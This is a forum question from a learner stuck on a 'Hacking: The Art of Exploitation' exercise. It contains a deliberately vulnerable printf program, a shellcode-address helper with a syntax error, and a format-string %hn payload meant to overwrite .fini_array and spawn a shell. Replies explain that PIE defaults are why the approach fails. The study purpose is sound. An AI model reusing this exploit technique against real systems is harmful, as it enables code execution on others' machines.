1

I am working on the book Hacking: The art of Exploitation And I have a problem in the section with DTORS and CTORS.

I have a vulnerable program exploiting printf function vulnerability, so I can overwrite any hex adress I want. My problem is that I want to overwrite the DTORS array to run a shellcode, but DTORS dosen't exist anymore on newest version of GCC. Instead it is init_array/fini_array, so I run my exploit with the adress of fini_array, but it dosen't work, I don't understand why.

Can someone help me please ? (sorry for my bad english)

Exploit code here : (vuln.c)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char text[1024];
    static int test_val = -72;

    if (argc < 2)
    {
        printf("Usage: %s <text to print>\n", argv[0]);
        exit(0);
    }

    strcpy(text, argv[1]);

    printf("The right way to print: \n");
    printf("%s\n", text);

    printf("The wrong way to print: \n");
    printf(text);

    printf("[DEBUG] test_val @ %p = %d %08x\n", &test_val, test_val, test_val);

    return 0;
}

Compile it : gcc -m32 -fno-stack-protector vuln.c -o vuln

This exploit allow us to overwrite any hex adress of memory using printf format-parameter %n (and %hn).

I use a shellcode as an environment variable, here the code to get the hex adress: (getadrr.c)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char *ptr;
    if (argc < 2)
    {
        printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
    }
   
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])*2;

    printf("%s is at %p\n", argv[0], ptr);

   return 0;

}

Compile it : gcc -m32 getadrr.c -o getadrr ./getadrr SHELLCODE -> give the hex adress of the environment var SHELLCODE (I already created it)

Now, I will use this two programs above to overwrite the DTORS array to run a shellcode.

First, I find the adress of fini_array (DTORS)

Here the sections of my vulnerable program : nm ./vuln

000001cc r __abi_tag
00004024 B __bss_start
00004024 b completed.0
         w __cxa_finalize@GLIBC_2.1.3
00004018 D __data_start
00004018 W data_start
000010e0 t deregister_tm_clones
00001170 t __do_global_dtors_aux
00003eec d __do_global_dtors_aux_fini_array_entry
0000401c D __dso_handle
00003ef0 d _DYNAMIC
00004024 D _edata
00004028 B _end
         U exit@GLIBC_2.0
000012bc T _fini
00002000 R _fp_hw
000011c0 t frame_dummy
00003ee8 d __frame_dummy_init_array_entry
00002168 r __FRAME_END__
00003ff4 d _GLOBAL_OFFSET_TABLE_
         w __gmon_start__
0000208c r __GNU_EH_FRAME_HDR
00001000 T _init
00002004 R _IO_stdin_used
         w _ITM_deregisterTMCloneTable
         w _ITM_registerTMCloneTable
         U __libc_start_main@GLIBC_2.34
000011cd T main
         U printf@GLIBC_2.0
         U putchar@GLIBC_2.0
         U puts@GLIBC_2.0
00001120 t register_tm_clones
000010a0 T _start
         U strcpy@GLIBC_2.0
00004020 d test_val.0
00004024 D __TMC_END__
000010d0 T __x86.get_pc_thunk.bx
000011c9 T __x86.get_pc_thunk.dx

Output of objdump -s -j .fini_array ./vuln:

./vuln: file format elf32-i386

Contents of .fini_array :
 3eec   70110000                          p...

I get the hex adress of .fini_array (DTORS) , I can overwrite it with the SHELLCODE adress

./getadrr SHELLCODE Output : 0xffffdfa1 (for me) <- adress of the shellcode

I use gdb to find how many bytes I need to write to get this adress : 0xffffdfa1 and use it in my vuln program.

gdb -q
(gdb) print 0xdfa1 - 8
$1 = 57241
(gdb) print 0xffff - 0xdfa1
$2 = 8286
./vuln "$(printf '\xec\x3e\x00\x00\xee\x3e\x00\x00')%57241x%4\$hn%8286x%5\$hn"

0x000003eec : hex adress of fini_array %57241x%4$hn%8286x%5$hn : it give the hex adress of my shellcode

It should overwrite fini_array by the hex adress of my shellcode and should give me a shell. I forgot, ASLR is off.

If someone can help me. Thanks.

Nic3500
  • 8,144
  • 10
  • 29
  • 40
Anas Hadri
  • 19
  • 3
  • 1
    You have clearly spent some time on your problem, Good! But there seem to be numerous missing pieces. The code you have included doesn't look like [bash] or other linux/unix based shell syntax (except for `printf...` . Readers need code they can copy/paste into their local environment, excute locally, and get the same output you are getting. this is called a [mcve]. Read that and try to add the correct details to your question so readers can duplicate the problem. Also, read the text of the `shell` tag you have included. You need to add a tag for your OS and any programming langs. ... – shellter May 06 '23 at 15:56
  • 1
    (Your english is very understandable, and that is partly because you have wisely included as much debugging (`nm`, `objdump`) as you have. Keep focused on properly formatted `code, input, expected output, current output , debug info,` and `errMsgs` and you'll do fine. Good luck. – shellter May 06 '23 at 15:59
  • Thanks for the advices, I am newer here, I am gonna rework that ! – Anas Hadri May 06 '23 at 17:16
  • Right, I think I give a lot of information for debuging, thanks for help! – Anas Hadri May 06 '23 at 17:42
  • 1
    Even with ASLR off, that's still a PIE executable. When run, it will be at an address like `0x55553eec`, not `0x00003eec` which would be below `mmap_min_addr`. Check with GDB and look at symbol addresses after you `start` the program. If you build with `gcc -m32 -no-pie`, the symbol table (and `nm` output) will have true absolute addresses. (If you also use `-fno-pie`, the code-gen will be optimized to not need to be position-independent.) – Peter Cordes May 06 '23 at 18:13
  • 1
    (Modern distros configure GCC with `-fPIE -pie` as the default, but they didn't used to, hence the difference from your book's examples. See [32-bit absolute addresses no longer allowed in x86-64 Linux?](https://stackoverflow.com/q/43367427) - it's the reason behind that difference, too.) – Peter Cordes May 06 '23 at 18:16
  • Thanks a lot, it's very helpful ! I forgot about that options -pie and -no-pie. If I really understood, PIE options is to make position independent for the exec ? – Anas Hadri May 06 '23 at 18:44

0 Answers0